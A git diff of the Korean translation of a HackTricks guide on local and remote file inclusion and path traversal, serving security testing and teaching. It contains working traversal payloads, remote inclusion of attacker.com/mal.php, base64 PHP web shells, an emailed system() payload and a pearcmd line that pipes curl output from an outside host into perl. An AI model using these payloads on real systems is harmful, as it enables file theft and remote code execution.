* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**

View file

@ -15,7 +15,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png"
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -54,7 +54,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
`/``\`로 변경해 보세요.\
`../../../../../`를 추가해 보세요.
취약점이 존재하는지 확인하기 위해 파일 /etc/password를 찾기 위해 여러 기술을 사용하는 목록은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다.
파일 /etc/password를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다.
### **Windows**
@ -65,7 +65,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
`/``\`로 변경해 보세요.\
`C:/`를 제거하고 `../../../../../`를 추가해 보세요.
취약점이 존재하는지 확인하기 위해 파일 /boot.ini를 찾기 위해 여러 기술을 사용하는 목록은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다.
파일 /boot.ini를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다.
### **OS X**
@ -89,18 +89,18 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
http://example.com/index.php?page=../../../etc/passwd%00
```
This is **PHP 5.4부터 해결됨**
이것은 **PHP 5.4부터 해결되었습니다.**
### **인코딩**
이중 URL 인코딩(및 기타)을 포함한 비표준 인코딩을 사용할 수 있습니다:
더블 URL 인코딩(및 기타)을 포함한 비표준 인코딩을 사용할 수 있습니다:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### 기존 폴더에서
### From existent folder
아마도 백엔드가 폴더 경로를 확인하고 있습니다:
```python
@ -114,7 +114,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **폴더 탐색:** 의심되는 폴더의 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`돌아갑니다. 추가 디렉토리 수준은 깊이를 하나 증가시켜야 합니다:
2. **폴더 탐색:** 의심되는 폴더의 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`다시 이동합니다. 추가 디렉토리 수준은 깊이를 하나 증가시켜야 합니다:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -137,7 +137,7 @@ PHP에서는 파일 시스템의 특성으로 인해 파일 경로의 다양한
* 마지막 6자가 `passwd`일 때, `/`를 추가해도(`passwd/`) 대상 파일은 변경되지 않습니다.
* 마찬가지로, 파일 경로에 `.php`가 추가될 경우(`shellcode.php`와 같은), 끝에 `/.`을 추가해도 접근하는 파일은 변경되지 않습니다.
제공된 예시는 경로 잘림을 사용하여 `/etc/passwd`에 접근하는 방법을 보여줍니다. 이는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 대상입니다:
제공된 예시는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 대상인 `/etc/passwd`에 접근하기 위해 경로 잘림을 활용하는 방법을 보여줍니다:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -150,10 +150,10 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
이러한 시나리오에서는 필요한 탐색 횟수가 약 2027회일 수 있지만, 이 숫자는 서버의 구성에 따라 달라질 수 있습니다.
* **점 세그먼트 및 추가 문자 사용**: 탐색 시퀀스(`../`)와 추가 점 세그먼트 및 문자를 결합하여 파일 시스템을 탐색할 수 있으며, 서버에 의해 추가된 문자열을 효과적으로 무시할 수 있습니다.
* **필요한 탐색 횟수 결정**: 시행착오를 통해 루트 디렉토리로 탐색한 다음 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 추가된 문자열(예: `.php`)은 중화되지만 원하는 경로(`/etc/passwd`)는 그대로 유지됩니다.
* **가짜 디렉토리로 시작**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것이 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 구문 분석 논리의 요구 사항을 충족하기 위해 사용됩니다.
* **필요한 탐색 횟수 결정**: 시행착오를 통해 루트 디렉토리로 탐색하고 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 추가된 문자열(예: `.php`)은 중화되지만 원하는 경로(`/etc/passwd`)는 그대로 유지됩니다.
* **가짜 디렉토리로 시작**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것이 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리 요구 사항을 충족하기 위해 사용됩니다.
경로 단축 기술을 사용할 때는 서버의 경로 구문 분석 동작 및 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 다른 접근 방식을 요구할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.
경로 단축 기술을 사용할 때는 서버의 경로 파싱 동작 및 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 다른 접근 방식을 요구할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.
**이 취약점은 PHP 5.3에서 수정되었습니다.**
@ -165,9 +165,9 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## 원격 파일 포함
## Remote File Inclusion
php에서는 기본적으로 비활성화되어 있습니다. **`allow_url_include`****꺼져** 있습니다. 작동하려면 **켜져**어야 하며, 이 경우 서버에서 PHP 파일을 포함하고 RCE를 얻을 수 있습니다:
php에서는 기본적으로 비활성화되어 있습니다. **`allow_url_include`**는 **Off**입니다. 작동하려면 **On**이어야 하며, 이 경우 서버에서 PHP 파일을 포함하고 RCE를 얻을 수 있습니다:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -181,10 +181,10 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
{% endcode %}
{% hint style="info" %}
이전 코드에서 최종 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가되었습니다. 따라서 문자열은 그것으로 끝나고 b64 디코드 후 그 부분은 단순한 쓰레기를 반환하며 실제 PHP 코드가 포함됩니다(따라서 실행됩니다).
이전 코드에서 최종 `+.txt`는 공격자가 `.txt`로 끝나는 문자열이 필요했기 때문에 추가되었습니다. 그래서 문자열이 그것으로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기만 반환되며 실제 PHP 코드가 포함됩니다(따라서 실행됩니다).
{% endhint %}
또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다:
또 다른 예시 **`php://` 프로토콜을 사용하지 않는** 것은 다음과 같습니다:
{% code overflow="wrap" %}
```
@ -199,22 +199,22 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로 제거됩니다**:
사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로는 단순히 제거됩니다**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
다음은 [문서](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
> 만약 구성 요소가 절대 경로라면, 모든 이전 구성 요소는 버려지고 절대 경로 구성 요소에서부터 결합이 계속됩니다.
> 구성 요소가 절대 경로인 경우, 모든 이전 구성 요소는 버려지고 절대 경로 구성 요소에서 결합이 계속됩니다.
## Java 디렉토리 목록
Java에서 경로 탐색(Path Traversal)이 발생하고 **파일 대신 디렉토리를 요청**하면, **디렉토리 목록이 반환됩니다**. 다른 언어에서는 이 일이 발생하지 않을 것입니다(내가 아는 한).
Java에서 경로 탐색(Path Traversal)이 발생하고 **파일 대신 디렉토리를 요청**하면 **디렉토리 목록이 반환됩니다**. 다른 언어에서는 이러한 일이 발생하지 않을 것입니다(내가 아는 한).
## 상위 25개 매개변수
다음은 로컬 파일 포함(LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다(출처: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
다음은 로컬 파일 포함(LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다(출처: [링크](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -246,7 +246,7 @@ Java에서 경로 탐색(Path Traversal)이 발생하고 **파일 대신 디렉
### php://filter
PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업을 수행**할 수 있게 해줍니다. 필터는 5가지 범주로 나니다:
PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업을 수행**할 수 있게 해줍니다. 필터는 5가지 범주로 나눌 수 있습니다:
* [String Filters](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
@ -262,7 +262,7 @@ PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업
* `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). **지원되는 모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
{% hint style="warning" %}
`convert.iconv.*` 변환 필터를 악용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스와 같은 기능을 만들 때 유용할 수 있습니다. 더 많은 정보는 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
`convert.iconv.*` 변환 필터를 악용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스를 통해 임의의 텍스트를 만들 때 유용할 수 있습니다. 더 많은 정보는 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
{% endhint %}
* [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
@ -306,21 +306,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
"php://filter" 부분은 대소문자를 구분하지 않습니다.
{% endhint %}
### 임의 파일을 읽기 위한 오라클로서 php 필터 사용하기
### 임의 파일을 읽기 위한 oracle로서 php 필터 사용하기
[**이 게시물에서**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술이 제안되었습니다. 이 기술은 **php 필터를 오라클로 사용하여 파일을 불리언 방식으로(문자별로) 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술이 제안되었습니다. 이 기술은 **php 필터를 oracle로 사용하여 파일을 불리언 방식으로(문자별로) 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약이 있습니다:
게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약이 있습니다:
* **`UCS-4LE`** 코덱을 사용하여 텍스트의 선행 문자를 시작 부분에 두고 문자열의 크기를 기하급수적으로 증가시킵니다.
* 이는 **초기 문자가 올바르게 추측되었을 때 텍스트가 너무 커지도록** 생성하는 데 사용됩니다. 그러면 php가 **오류**를 발생시킵니다.
* **dechunk** 필터는 **첫 번째 문자가 16진수가 아닐 경우 모든 것을 제거**하므로 첫 번째 문자가 16진수인지 알 수 있습니다.
* 이것은 이전의 것과 결합되어(추측된 문자에 따라 다른 필터도 사용됨) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아닌 경우를 확인합니다. 16진수인 경우 dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
* **convert.iconv.UNICODE.CP930** 코덱은 각 문자를 다음 문자로 변환합니다(예: 이 코덱 이후: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 됩니다. 따라서 dechunk는 삭제하지 않으며 php 오류가 초기 폭탄과 곱해져 발생합니다.
* 이는 **초기 문자가 올바르게 추측되었을 때 너무 큰 텍스트를 생성하는 데 사용됩니다**. 그러면 php가 **오류**를 발생시킵니다.
* **dechunk** 필터는 **첫 번째 문자가 16진수가 아닐 경우 모든 것을 제거**하므로, 첫 번째 문자가 16진수인지 알 수 있습니다.
* 이것은 이전의 것과 결합되어(추측된 문자에 따라 다른 필터도 사용됨) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아닌 경우를 확인합니다. 16진수라면 dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
* **convert.iconv.UNICODE.CP930** 코덱은 모든 문자를 다음 문자로 변환합니다(따라서 이 코덱 이후: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 됩니다. 따라서 dechunk는 삭제하지 않으며 php 오류가 발생합니다.
* **rot13**과 같은 다른 변환을 시작 부분에 사용하면 n, o, p, q, r과 같은 다른 문자를 유출할 수 있습니다(다른 코덱을 사용하여 다른 문자를 16진수 범위로 이동할 수 있습니다).
* 초기 문자가 숫자일 경우 base64로 인코딩하고 숫자를 유출하기 위해 처음 두 문자를 유출해야 합니다.
* 최종 문제는 **초기 문자 이상을 유출하는 방법**을 보는 것입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**와 같은 순서 메모리 필터를 사용하면 문자의 순서를 변경하고 텍스트의 첫 번째 위치에 다른 문자를 가져올 수 있습니다.
* 추가 데이터를 얻기 위해서는 **초기 부분에 2바이트의 쓰레기 데이터를 생성**하고 **convert.iconv.UTF16.UTF16**을 적용한 후 **UCS-4LE**를 사용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다(이것은 초기 텍스트의 처음 2바이트를 제거합니다). 원하는 비트를 유출할 때까지 계속 진행합니다.
* 추가 데이터를 얻기 위해서는 **초기 부분에 2바이트의 쓰레기 데이터를 생성**하고 **convert.iconv.UTF16.UTF16**을 적용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다(이것은 초기 텍스트의 처음 2바이트를 제거합니다). 원하는 비트를 유출할 때까지 계속 진행합니다.
게시물에서는 이를 자동으로 수행할 수 있는 도구도 유출되었습니다: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
@ -406,12 +406,12 @@ LFI가 PHP 코드 실행 없이 파일 읽기만 수행하는 경우, `file_get_
### CVE-2024-2961
**php 필터를 지원하는 임의의 파일을 읽는 것을 악용하여 RCE를 얻는 것이 가능했습니다.** 자세한 설명은 [**이 게시물에서 찾을 수 있습니다**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
매우 간단한 요약: PHP 힙에서 **3 바이트 오버플로우**가 악용되어 **특정 크기의 자유 청크 체인**을 변경하여 **어떤 주소에든 쓸 수 있게** 되었고, 그래서 **`system`**을 호출하는 후크가 추가되었습니다.\
매우 간단한 요약: PHP 힙에서 **3 바이트 오버플로우**가 악용되어 **특정 크기의 자유 청크 체인을 변경**하여 **어떤 주소에든 쓸 수 있게** 되었고, 그래서 **`system`**을 호출하는 후크가 추가되었습니다.\
더 많은 PHP 필터를 악용하여 특정 크기의 청크를 할당할 수 있었습니다.
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
여기에서 포함할 수 있는 더 많은 [**프로토콜을 확인하십시오**](https://www.php.net/manual/en/wrappers.php)**:**
* [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리 또는 임시 파일에 쓰기 (파일 포함 공격에서 어떻게 유용할 수 있는지 확실하지 않음)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일 시스템 접근
@ -420,11 +420,11 @@ Check more possible[ **protocols to include here**](https://www.php.net/manual/e
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 압축 스트림
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴과 일치하는 경로 이름 찾기 (인쇄 가능한 것을 반환하지 않으므로 여기서는 그다지 유용하지 않음)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일 읽기에 유용하지 않음)
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일을 읽는 데 유용하지 않음)
## LFI via PHP's 'assert'
PHP의 'assert' 함수와 관련된 Local File Inclusion (LFI) 위험은 특히 문자열 내에서 코드를 실행할 수 있기 때문에 상당히 높습니다. 입력에 ".."와 같은 디렉토리 탐색 문자가 포함되어 있지만 제대로 정리되지 않는 경우 특히 문제가 됩니다.
PHP의 'assert' 함수는 문자열 내에서 코드를 실행할 수 있기 때문에 Local File Inclusion (LFI) 위험이 특히 높습니다. 입력에 ".."와 같은 디렉토리 탐색 문자가 포함되어 있지만 제대로 정리되지 않는 경우 특히 문제가 됩니다.
예를 들어, PHP 코드는 다음과 같이 디렉토리 탐색을 방지하도록 설계될 수 있습니다:
```bash
@ -440,7 +440,7 @@ assert("strpos('$file', '..') === false") or die("");
```
It's important to **URL-encode these payloads**.
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -448,7 +448,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**Real-Time Hack News**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
**Latest Announcements**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
@ -458,16 +458,16 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
## PHP Blind Path Traversal
{% hint style="warning" %}
이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, **파일에 접근**하지만 파일의 내용을 볼 수 없는 경우(예: **`file()`**에 대한 간단한 호출)입니다.
이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, 이 함수는 **파일에 접근**하지만 파일의 내용을 볼 수는 없습니다(예: **`file()`**에 대한 간단한 호출).
{% endhint %}
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
요약하자면, 이 기술은 **"UCS-4LE" 인코딩**을 사용하여 파일의 내용을 **너무 크게** 만들어 **파일을 여는 PHP 함수**가 **오류**를 발생시키도록 합니다.
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
그런 다음, 첫 번째 문자를 유출하기 위해 필터 **`dechunk`**가 사용되며, **base64** 또는 **rot13**와 같은 다른 필터와 함께 사용되고, 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE**와 **convert.iconv.UTF16.UTF-16BE**가 사용되어 **다른 문자를 시작 부분에 배치하고 유출합니다**.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
**취약할 수 있는 함수**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (이것으로만 읽기 전용 대상)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
For the technical details check the mentioned post!
@ -504,12 +504,12 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### 이메일을 통한 방법
**내부 계정(user@localhost)으로 메일을 보내** `<?php echo system($_REQUEST["cmd"]); ?>`와 같은 PHP 페이로드를 포함시키고 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`**와 같은 경로로 사용자의 메일에 포함시키도록 시도합니다.
**내부 계정(user@localhost)으로 메일을 보내** `<?php echo system($_REQUEST["cmd"]); ?>`와 같은 PHP 페이로드를 포함하고, **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`**와 같은 경로로 사용자의 메일에 포함시키도록 시도합니다.
### /proc/\*/fd/\*를 통한 방법
1. 많은 쉘을 업로드합니다 (예: 100개)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 포함시키고, 여기서 $PID는 프로세스의 PID(무차별 대입 가능)이고 $FD는 파일 디스크립터(무차별 대입 가능)입니다.
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 포함합니다. 여기서 $PID는 프로세스의 PID(무차별 대입 가능)이고, $FD는 파일 디스크립터(무차별 대입 가능)입니다.
### /proc/self/environ을 통한 방법
@ -630,47 +630,47 @@ Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b allte
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### phpinfo()를 통한 방법 (file\_uploads = on)
### Via phpinfo() (file\_uploads = on)
**Local File Inclusion**을 발견하고 file\_uploads = on인 **phpinfo()**를 노출하는 파일을 찾았다면 RCE를 얻을 수 있습니다:
**로컬 파일 포함**을 발견하고 file\_uploads = on인 **phpinfo()**를 노출하는 파일을 찾았다면 RCE를 얻을 수 있습니다:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 경로 노출을 통한 방법
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
**Local File Inclusion**을 발견하고 **임시 파일의 경로를 추출할 수 있지만** **서버**가 **포함할 파일에 PHP 마크가 있는지 확인**하고 있다면, 이 **경쟁 조건**을 사용하여 **그 검사를 우회** 수 있습니다:
**로컬 파일 포함**을 발견하고 **임시 파일의 경로를 유출할 수 있지만** **서버**가 **포함할 파일에 PHP 마크가 있는지 확인**하고 있다면, 이 **경쟁 조건**을 사용하여 **그 검사를 우회**해 볼 수 있습니다:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
{% endcontent-ref %}
### 영원한 대기 + 브루트포스 방법
### Via eternal waiting + bruteforce
LFI를 악용하여 **임시 파일을 업로드**하고 서버가 PHP 실행을 **중단**하게 만들 수 있다면, **몇 시간 동안 파일 이름을 브루트포스**하여 임시 파일을 찾을 수 있습니다:
LFI를 악용하여 **임시 파일을 업로드**하고 서버가 PHP 실행을 **중단**하게 만들 수 있다면, **몇 시간 동안 파일 이름을 무작위로 대입**하여 임시 파일을 찾을 수 있습니다:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
{% endcontent-ref %}
### 치명적인 오류로
### To Fatal Error
`/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` 중 하나의 파일을 포함하면 됩니다. (그 오류를 발생시키기 위해 같은 파일을 2번 포함해야 합니다).
`/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` 중 하나의 파일을 포함하면 됩니다. (그 오류를 발생시키려면 같은 파일을 2번 포함해야 합니다).
**이것이 어떻게 유용한지는 모르겠지만, 유용할 수 있습니다.**\
_비록 PHP 치명적 오류를 발생시켜도, 업로드된 PHP 임시 파일은 삭제됩니다._
_비록 PHP 치명적 오류를 발생시켜도, 업로드된 PHP 임시 파일은 삭제됩니다._
<figure><img src="../../.gitbook/assets/image (1031).png" alt=""><figcaption></figcaption></figure>
## 참고자료
## References
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -681,21 +681,21 @@ _비록 PHP 치명적인 오류를 발생시켜도, 업로드된 PHP 임시 파
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
**최신 공지사항**\
새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 받아보세요.
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
**지금 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!**
{% hint style="success" %}
AWS 해킹 배우 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
